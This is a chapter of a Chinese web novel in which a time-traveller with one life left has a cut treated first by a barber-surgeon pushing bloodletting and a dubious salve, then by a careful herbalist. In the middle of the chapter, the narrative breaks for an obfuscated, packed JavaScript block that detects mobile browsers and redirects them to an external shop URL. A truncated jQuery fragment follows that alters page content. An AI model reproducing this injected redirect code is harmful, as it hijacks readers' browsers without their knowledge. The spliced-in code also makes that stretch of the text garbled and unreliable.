天光从柴房破败的木板缝隙漏进来，落在林越眼皮上时，他第一个感觉是热。


    不是太阳晒在脸上的温热，是手腕上那道红痕传来的、持续不断的低热感，像一块贴在皮肤上的暖宝宝——如果暖宝宝的设计初衷是为了提醒佩戴者“你快死了”的话。


    他睁开眼，盯着柴房布满蛛网的屋顶看了三秒，确认自己确实又活过来了。这次没有旅店老板的尖叫，没有围观群众的指指点点，只有几只老鼠在墙角窸窸窣窣地啃着什么东西。挺好，至少死得安静。


    林越坐起身，第一件事就是抬起左手腕。


    那道红痕——最后一道红痕——安静地盘踞在皮肤上，颜色鲜艳得像刚用红笔描过。但它不是静止的，它在发热。不是发烧那种全身滚烫，是局部的、持续的、无法忽视的温热感，像有人在他手腕内侧贴了个微型加热贴，然后忘了关电源。


    “行吧，”林越对着空气说，“至少这次有进度条了。”


    上一次死亡——鼠疫感染，高热、寒战、剧痛，最后在废弃柴房咽气——的记忆还在脑子里清晰得很。但比起记忆，手腕上这道发热的红痕更像是物理层面的倒计时：你的生命剩余一次，现在开始读秒。


    他站起来，拍了拍身上的草屑和灰尘。身体感觉……还行。没有鼠疫症状，没有发烧，没有淋巴结肿痛。重生机制显然挺负责，不仅复活，还给免费做了个全身消毒。就是不知道保质期多久。


    柴房外是灰石镇的清晨。天空是灰白色的，像没洗干净的被单。街道上没什么人，只有几个扛着木桶去井边打水的妇人，脚步声在石板路上拖出疲惫的节奏。空气里飘着柴火烟、粪便和某种说不清的腐败气味，混合在一起，构成中世纪的“清晨限定香氛”。


    林越摸了摸肚子。饿。从昨晚死到现在复活，中间没进食环节。他得找点吃的，然后——


    他低头看了看手臂。


    昨晚在柴房里摸索时，被什么东西划了一下。当时没在意，现在光线好些，能看到左前臂上有一道约三厘米长的口子，不算深，但边缘已经开始发红，渗出少量淡黄色液体。


    “破伤风？”林越脑子里立刻跳出这个词。生锈铁片、污浊环境、没消毒的伤口——这配置简直是感染套餐的标准模板。


    按照他以前的思路，这种伤口应该立刻找干净水源冲洗，用酒精消毒（如果这个世界有酒精的话），然后包扎。但现在，按照《中世纪生存策略v2.0——风险管控模式》的逻辑，他得换个角度想。


    “这是个机会，”林越对自己说，“了解中世纪医疗体系的机会。”


    他翻开那本随身携带的生存笔记——羊皮纸做的，封面已经磨得发毛——在新的一页写下标题：“医疗知识获取计划（伤口感染模型）”。


    “目标：通过本次可控的小伤口，系统了解中世纪医疗体系的运作逻辑、治疗方式、风险等级，为后续可能的医疗相关死亡（第三次死亡预判）积累知识储备。”


    “风险等级评估：伤口感染风险（中），破伤风风险（中），医疗处置不当风险（高）。但总体可控，未触及生存底线。”


    “行动原则：获取知识优先，接受治疗谨慎；观察学习主动，实际参与被动；凡事先问原理，再评估可行性。”


    写完后，林越合上笔记本，看了看手臂上的伤口，又看了看手腕上发热的红痕。


    “至少这次受伤不是我故意的，”他嘀咕道，“这世界的‘欢迎礼包’真是层出不穷，上次食物中毒，这次铁片割伤。设计者是不是觉得，死法多样化就能掩盖游戏平衡性稀烂的事实？”


    二、理发店与手术刀


    问路的过程比想象中简单。


    “医生？”一个扛着木柴的老头停下脚步，用浑浊的眼睛上下打量林越，“你是说……治病的？”


    “对，伤口需要处理一下。”林越展示手臂。


    老头盯着伤口看了几秒，摇摇头：“这种小伤，吐口唾沫抹抹就行了。”


    “……还是想找专业点的。”


    “专业？”老头想了想，指向街道尽头，“汉斯师傅那儿。他什么都能治。”


    “汉斯师傅是……”


    “理发的，”老头说，“也治伤。就在镇子东头，门口挂着招牌，你一看就知道。”


    林越道了谢，沿着街道往东走。清晨的灰石镇正在缓慢苏醒，店铺陆续开门，小贩摆出摊位，但气氛明显不对劲。少了往日的喧闹，多了种压抑的沉默。偶尔有人咳嗽，周围人就会像触电一样退开几步。


    瘟疫的阴影已经开始笼罩这座小镇。


    走了约十分钟，林越看到了那个招牌。


    严格来说，是两块招牌拼在一起：左边画着一把剪刀和梳子，写着“理发”；右边画着一把刀和一只碗（林越后来知道那是放血用的碗），写着“医疗”。两块招牌中间用一根粗糙的木棍连接，摇摇晃晃地挂在屋檐下。


    招牌下方还有一行小字：“汉斯师傅，从业二十年，经验丰富。”


    林越站在招牌下，抬头看了足足半分钟。


    “这跨界组合，”他心想，“就像现代美容院兼营外科手术——‘剪发烫染，顺带开颅，会员打八折’。”


    店门开着，里面传来金属碰撞的声音。林越走进去，先闻到一股混合气味：头油味、草药味、还有淡淡的血腥味。


    店面分成两部分。前半部分很常规：一面模糊的铜镜，几把木椅，架子上摆着剪刀、剃刀、梳子。后半部分就有点……特别。一张宽大的木桌，桌上散落着各种刀具——有些像手术刀，有些像凿子，还有些林越根本认不出来。桌旁挂着绷带、布条，墙角堆着几个陶罐，里面是颜色可疑的膏状物。


    一个中年男人正背对着门，在木桌前摆弄着什么。听到脚步声，他转过身。


    “理头发还是治伤？”男人问。他穿着沾有褐色污渍的围裙，手上戴着一副皮手套——手套指尖部位已经被染成深色。


    “治伤，”林越抬起手臂，“被铁片划了一下。”


    男人走近几步，摘下一只手套，用手指戳了戳伤口边缘。他的指甲缝里是黑的。


    “小伤，”他说，“但得处理，不然会化脓。”


    “请问您是……”


    “汉斯，”男人说，“理发师，也兼职治伤。镇子里的人都找我。”他语气里有种理所当然的自信，仿佛“理发师兼医生”是天经地职的职业组合。


    林越努力控制表情，不让“你认真的吗”这句话脱口而出。


    “那……怎么治？”他问。


    “先看□□，”汉斯走回木桌，拿起一个木碗和一根小木棍，“伸手。”


    林越伸出手。汉斯用木棍在他手背上刮了几下，刮下一点皮屑，放进碗里，又往碗里倒了点透明液体——闻起来像醋。然后他开始搅拌，同时低头仔细观察。


    “这是……在做什么？”林越忍不住问。


    “看你的□□平衡，”汉斯头也不抬，“人体有四种□□：血液、粘液、黄胆汁、黑胆汁。健康的人四种□□平衡，生病就是失衡了。你这伤口发红，说明血液过剩，粘液不足。”


    林越脑子里闪过现代医学关于感染、炎症、白细胞的知识，然后又强行把这些知识压回去。


    “所以治疗方法是……”


    “放血，”汉斯放下木碗，从桌上拿起一把刀——刀刃狭窄，尖端微弯，“放掉多余的血液，让□□恢复平衡。再敷点草药，帮助伤口愈合。”


    他拿起刀，在围裙上擦了擦（围裙上又多了一道污渍），走向林越。


    “等等，”林越后退一步，“放血……具体是怎么操作？”


    “很简单，”汉斯似乎对这种问题习以为常，“在手臂上划个小口，放半碗血出来。你这伤口不大，放少点也行。”


    “这刀消毒了吗？”


    “消毒？”汉斯愣了一下，“你是说……擦干净？我刚擦过了。”


    林越看着那把刀。刀身上有暗色的斑点，不知道是锈迹还是干涸的血迹。


    “不用了，”他说，“我……晕血。”


    汉斯皱起眉头：“晕血？那你这伤……”


    “有没有不放血的办法？”林越快问，“比如只敷草药？”


    汉斯盯着他看了几秒，似乎在评估这个客人的“难搞程度”。最后他叹了口气，放下刀。


    “有是有，”他说，“但效果没放血好。你这是血液过剩，不放出来，病气会在体内乱窜，可能引发更严重的病。”


    “我宁愿冒险。”


    汉斯耸耸肩，走回木桌，开始在一堆陶罐里翻找。“随你。不过要是病情加重了，别怪我没提醒你。”


    林越松了口气，同时脑子里闪过一个念头：上次听到类似“不按我的方案做后果自负”的言论，还是理发师推荐他烫发，说“不烫发运势会变差”。


    历史总是惊人地相似，只是这次后果从“发型难看”升级成了“可能送命”。


    三、四□□说与草药汤


    汉斯找了半天，从一个陶罐里挖出一坨深绿色的膏状物，放在木碗里，又加了点水，开始搅拌。那东西搅拌起来的声音和颜色，让林越想起上周在玛格丽特婆婆那儿看到的、准备倒掉的剩菜汤。


    “这是什么草药？”林越问。


    “几种草根混合的，”汉斯含糊地说，“消炎，止血，帮助伤口愈合。”


    “具体是哪几种？”


    汉斯停下搅拌，抬头看了他一眼：“你问这么细干什么？”


    “好奇，”林越立刻换上“好学学徒”的表情，“我对医术很感兴趣，想多学学。”


    这招似乎管用。汉斯的脸色缓和了些，甚至有点得意。“既然你感兴趣，我就给你讲讲。人体这四种□□啊，对应四季、四种元素、四种性格……”


    接下来二十分钟，林越被迫上了一堂中世纪医学理论课。


    汉斯讲得眉飞色舞，从四□□说讲到星座影响，从上帝惩罚讲到道德堕落。他不仅讲理论，还举例子：去年春天老约翰咳嗽，是因为“粘液过多，受春寒影响”；夏天小汤姆腹泻，是“黄胆汁过剩，吃了不洁之物”；秋天玛丽发热，是“血液过热，心火旺盛”；冬天铁匠手臂溃烂，是“黑胆汁淤积，情绪抑郁”。


    林越一边听，一边在脑子里做笔记：


    “四□□说——相当于现代医学的‘阴阳五行’，听起来头头是道，实际验证困难。”


    “病因归因——三分生理，七分玄学，剩下九十分是‘上帝的安排’。”


    “治疗方法——核心思想是‘平衡’，但平衡的标准全凭医生一张嘴。”


    “风险评估——放血可能导致失血过多、感染、破伤风，草药可能无效或有毒，祈祷……祈祷没用，但至少不伤人。”


    讲到最后，汉斯总结道：“所以你这伤口，本质是血液过剩引发的局部失衡。放血是最对症的，草药敷料只能治标。”


    “我明白了，”林越点头，“但晕血这事……”


    “行吧行吧，”汉斯摆手，“敷草药也行。躺那边椅子上，我帮你弄。”


    林越躺到一张木椅上——椅子表面有明显的污渍，他尽量只用背部的衣服接触。汉斯端着那碗“草药膏”走过来，用一把木勺舀起一坨，糊在伤口上。


    膏体触感冰凉，带着浓重的土腥味和霉味。汉斯用手（没戴手套的那只）把膏体抹匀，又从架子上扯下一截布条，开始包扎。


    布条的颜色介于灰和黄之间，质地粗糙，边缘有毛边。汉斯包扎的手法倒是熟练，三两下就绑好了，打了个结。


    “好了，”汉斯退后一步，“这两天别碰水，每天来换一次药。收费两个铜币。”


    林越坐起身，看了看手臂上那坨被布条包裹的绿色膏体。隔着布条，能闻到那股土腥味。


    “这草药……安全吗？”他还是忍不住问了一句。


    “安全？”汉斯笑了，“我用了二十年，从没出过事。当然，”他补充道，“有些人敷了也没用，那是他们体质特殊，或者罪孽太重，上帝不保佑。”


    “明白了。”林越从口袋里摸出两个铜币——这是他身上最后的钱了——递给汉斯。


    “对了，”汉斯收钱时突然说，“如果你这伤加重了，或者有发烧的症状，记得及时来。到时候可能就得放血了，晕血也得放，保命要紧。”


    “我会的。”


    走出理发店-诊所时，林越抬头看了看那块招牌。清晨的阳光照在“医疗”两个字上，反着光。


    他抬起手臂，闻了闻包扎处。土腥味混合着霉味，还有一丝若有若无的……腐败味？


    “希望这玩意儿有用，”他嘀咕道，“至少别让伤口恶化成截肢套餐。”


    四、玛格丽特的评价


    下午，林越去了玛格丽特婆婆的木屋。


    敲门后等了好一会儿，门才打开。玛格丽特婆婆看起来比前几天更疲惫，眼下的黑眼圈明显，手上还沾着草药的绿色汁液。


    “林越？”她有些意外，“你不是应该……”


    “我受伤了，”林越举起手臂，“找了汉斯师傅处理，想来问问您的意见。”


    玛格丽特皱了皱眉：“汉斯？你让他治了？”


    “只敷了草药，没放血。”


    “那还好，”婆婆松了口气，侧身让开，“进来吧。”


    木屋里弥漫着熟悉的草药味，但今天气味更浓，还夹杂着一丝焦味。林越看到炉灶上架着一个小陶罐，里面正煮着什么，咕嘟咕嘟冒着泡。


    “坐，”玛格丽特指了指木凳，自己则在林越对面坐下，“手伸过来，我看看。”


    林越解开布条——动作很小心，怕把草药膏弄得到处都是。布条下的伤口露出来，敷着那坨深绿色膏体，边缘已经开始发干。


    玛格丽特凑近仔细看了看，又闻了闻。


    “这是什么草药？”她问。


    “汉斯师傅说是几种草根混合的，消炎止血。”


    婆婆用手指蘸了一点膏体，放在指尖捻了捻，又闻了闻。


    “有土大黄的根……还有车前草……可能加了点艾叶，”她喃喃道，“但这颜色不对，土大黄捣碎不是这个色……”


    她起身走到墙角的架子前，那里堆满了各种晒干的草药。她翻找了一会儿，拿出一块深褐色的根茎，又拿了几片叶子，走回来对比。


    “他是不是还加了……颠茄？”玛格丽特脸色严肃起来。


    “颠茄？”


    “一种草药，能止痛，但有毒，”婆婆说，“用量大了会让人幻觉、抽搐，甚至死。你这膏体颜色发暗，有甜腻味，可能是加了颠茄汁。”


    林越心里一沉。“有毒？”


    “小剂量没事，还能止痛，”玛格丽特说，“但他没告诉你，就是问题。而且……”她又仔细看了看伤口，“你这伤口已经开始发炎了，草药敷料没压住。他用的布条也没煮过吧？”


    “应该……没有。”


    婆婆摇摇头，起身去拿另一个陶罐。“得重新处理。你等着。”


    她从一个罐子里倒出清水，又从一个布袋里抓出一把白色粉末（林越后来知道那是粗盐），溶在水里，然后让林越把手臂伸过去。


    “忍着点，可能有点疼。”


    盐水浇在伤口上时，林越确实感到了刺痛——但比起可能中毒或者感染截肢，这点痛不算什么。玛格丽特用一块干净的布（她特意从柜子里拿的新布）轻轻擦洗伤口，把汉斯的草药膏全部洗掉。


    洗干净的伤口露出来：边缘红肿，中间有少量脓液。


    “发炎了，”婆婆说，“但不严重。我给你敷点真正的消炎草药。”


    她重新调配了草药：蒲公英叶捣碎，加一点金银花，再加点蜂蜜调和。这次调配的过程她都让林越看着，每样草药都解释清楚作用和用量。


    “蒲公英清热消炎，金银花解毒，蜂蜜帮助愈合，”她一边敷药一边说，“这些都是安全的，孕妇小孩都能用。”


    敷好药，她用煮过的干净布条重新包扎。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210343|195946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “汉斯那个药膏，你用了多久？”她问。


    “大概两小时。”


    “那应该没事，”婆婆松了口气，“颠茄中毒需要更大量或更长时间。但以后记住，别让他给你用颜色发暗、有甜味的膏药。还有，绝对不要让他放血。”


    “放血很危险？”


    “去年镇子里有三个人让他放血，两个伤口感染死了，一个失血过多晕过去，醒来后脑子就不太清楚了。”玛格丽特语气平静，但眼神里有压抑的愤怒，“但大家还是找他，因为他便宜，而且……大家都这么治。”


    “那您为什么不用这些危险的方法？”


    婆婆笑了，笑容里带着苦涩。“因为我见过它们害死人。我父亲就是个草药师，他教我的第一句话是：''如果一种疗法会要人命，那它就不配叫疗法。''”


    她停顿了一下，看着炉灶上咕嘟咕嘟的陶罐。“但这话现在没人听了。教会说瘟疫是上帝惩罚，要祈祷赎罪；汉斯那种人说放血能治病，大家都信；我这种老妇人说的‘注意卫生、隔离病人’，反而没人听。”


    林越沉默了一会儿。


    “那领主呢？”他问，“领主应该有更好的医生吧？”


    “城堡里有御医，”玛格丽特点头，“水平比汉斯高，用的药也更好。但普通人请不起，一次诊金要十个银币，够一家子吃一个月。”


    “那如果您生病了……”


    “我自己治，”婆婆说，“治不好就认命。”


    她说完，又去照看炉灶上的陶罐了。林越坐在木凳上，看着她的背影，脑子里整理着刚刚获得的信息：


    “中世纪医疗体系分层：顶层（贵族御医，相对专业但昂贵），中层（理发师-医生，危险但普及），底层（民间草药师，经验丰富但不受重视）。”


    “治疗方法风险分级：放血（高风险，绝对避免），不明草药（中高风险，需严格鉴别），安全草药（中低风险，可用）。”


    “社会认知：宗教解释占主导，科学思维稀缺，经验传承为主。”


    他把这些记在笔记本上，然后抬头：“婆婆，我能多学点草药知识吗？安全的那种。”


    玛格丽特转过身，看了他几秒。“你想学？”


    “想，”林越说，“至少要知道什么能用，什么不能用。”


    婆婆点点头，走到书架前，抽出一本破旧的手抄本。“这是我父亲留下的笔记，里面记录了八十多种草药的识别、采集、用法。你可以看，但不能带走。”


    “谢谢。”


    林越接过笔记本，翻开第一页。纸张已经泛黄，字迹也有些模糊，但内容清晰：每种草药都有手绘的图样，标注了生长季节、药用部位、功效、用量、禁忌。


    他花了整整一下午时间，在木屋里阅读那本笔记。玛格丽特偶尔会解释几句，大部分时间都在忙自己的事——煮药、分装、整理药材。屋子里只有翻页声、煮药声和偶尔的咳嗽声（从窗外传来）。


    傍晚时分，林越合上笔记，揉了揉眼睛。


    “看完了？”玛格丽特问。


    “大致看了一遍，”林越说，“记住了三十种常用草药的识别和用法，还有二十种危险草药的辨认方法。”


    “记得挺快。”


    “生死攸关的事，记不快不行。”


    婆婆笑了笑，没说话。


    林越起身，准备告辞。走到门口时，他回头问了一句：“婆婆，如果……如果我以后受伤或者生病，需要治疗，您能帮我吗？”


    玛格丽特看着他，眼神复杂。过了一会儿，她点头：“只要我还活着，只要我这里还有药。”


    “谢谢。”


    “不用谢，”她说，“在这年头，能多救一个人，就算赚了。”


    五、红痕与决策


    走出木屋时，天色已经开始暗了。灰石镇的街道上人影稀疏，偶尔有人匆匆走过，也低着头，不与人对视。瘟疫的恐惧像一层看不见的雾，笼罩着整个小镇。


    林越走得很慢，一方面是因为疲惫（一下午的学习消耗了大量精力），一方面是因为他在思考。


    思考今天的收获，思考接下来的计划，思考手腕上那道持续发热的红痕。


    他抬起左手腕，在渐暗的天光下观察。红痕的鲜艳程度没变，但发热感似乎……增强了一点点？也许是心理作用，也许是真实的。他分辨不出来，只知道那道温热感像心跳一样持续存在，提醒他：时间不多了。


    回到临时找的住处——一间废弃谷仓的角落，用干草铺了张“床”——林越点起一根蜡烛（从玛格丽特那儿要来的），翻开生存笔记，开始整理今天的医疗知识。


    他画了一张表格：


    中世纪医疗风险分级表


    类别具体疗法原理实际效果风险等级应对策略


    放血类静脉放血、水蛭吸血四□□平衡理论基本无效，常有害高危（感染、失血）绝对避免


    草药类安全草药（蒲公英等）经验积累，部分有效部分有效（消炎、止痛）中低风险谨慎使用，确认种类


    草药类危险草药（颠茄等）经验积累，有毒可能有效但有毒高风险（中毒）绝对避免，学会辨认


    宗教类祈祷、圣物上帝干预心理安慰低风险（除非延误治疗）不依赖，不排斥


    外科类截肢、伤口缝合实践经验部分有效（止血）极高风险（感染、技术差）万不得已才考虑


    写完后，他盯着表格看了很久。


    这张表不完整，不精确，充满不确定性。但它是他用一下午时间、冒着伤口感染和可能中毒的风险换来的。比起刚来时对中世纪医疗的“一无所知”，现在至少有了个模糊的地图。


    “地图可能画错了，”林越对自己说，“但总比在黑暗中乱闯强。”


    他翻到笔记本的下一页，写下：


    《中世纪生存策略v2.0——医疗补充条例》


    “1. 所有医疗决策前，必须确认治疗者资质（御医>草药师>理发师医生）。”


    “2. 所有草药使用前，必须自行辨认或找可靠者辨认，避免使用不明草药。”


    “3. 放血、催吐、泻药等激进疗法，一律拒绝，无论对方如何劝说。”


    “4. 小伤小病自行处理（清洁、包扎、安全草药），重伤大病……做好死亡准备。”


    “5. 医疗知识持续积累，每次接触医疗行为都视为学习机会。”


    写完后，他放下笔，靠在干草堆上。


    手腕上的红痕还在发热。他把手腕举到眼前，在烛光下仔细观察。那道红色线条似乎比昨天更……鲜艳？不，也许是错觉。但发热感是真实的，像有个微型警报器在皮肤下持续震动：注意，你只剩一条命了；注意，下次死亡就可能面临无法想象的后果；注意，时间在流逝。


    林越闭上眼睛。


    他想起了今天汉斯讲四□□说时的自信表情，想起了玛格丽特辨认颠茄时的严肃眼神，想起了那本破旧草药笔记上模糊的字迹。中世纪的人们在用他们能理解的方式解释世界、治疗疾病，哪怕那些方式在现代人看来荒诞而危险。


    而他自己，一个穿越者，一个“异常个体”，能做的不是嘲笑他们的无知，而是在他们的知识体系里寻找生存缝隙。


    “至少现在知道了，”他低声说，“受伤了该找谁，不该找谁。知道了哪些草药能用，哪些是毒药。知道了放血是个坑，跳进去就爬不出来。”


    这些知识能救他的命吗？不一定。但至少能让他死得明白点——如果第三次死亡真的和医疗有关的话。


    他睁开眼睛，吹灭蜡烛。


    谷仓陷入黑暗，只有月光从破洞的屋顶漏进来，在地上投出斑驳的光影。远处传来教堂的钟声——急促的、不规则的敲击，意味着又有人死了。


    林越躺在干草上，听着钟声，感受着手腕上持续发热的红痕。


    “下次选择，”他对着黑暗说，“得再谨慎点。”


    “因为这次要是错了，下次就可能彻底完了。”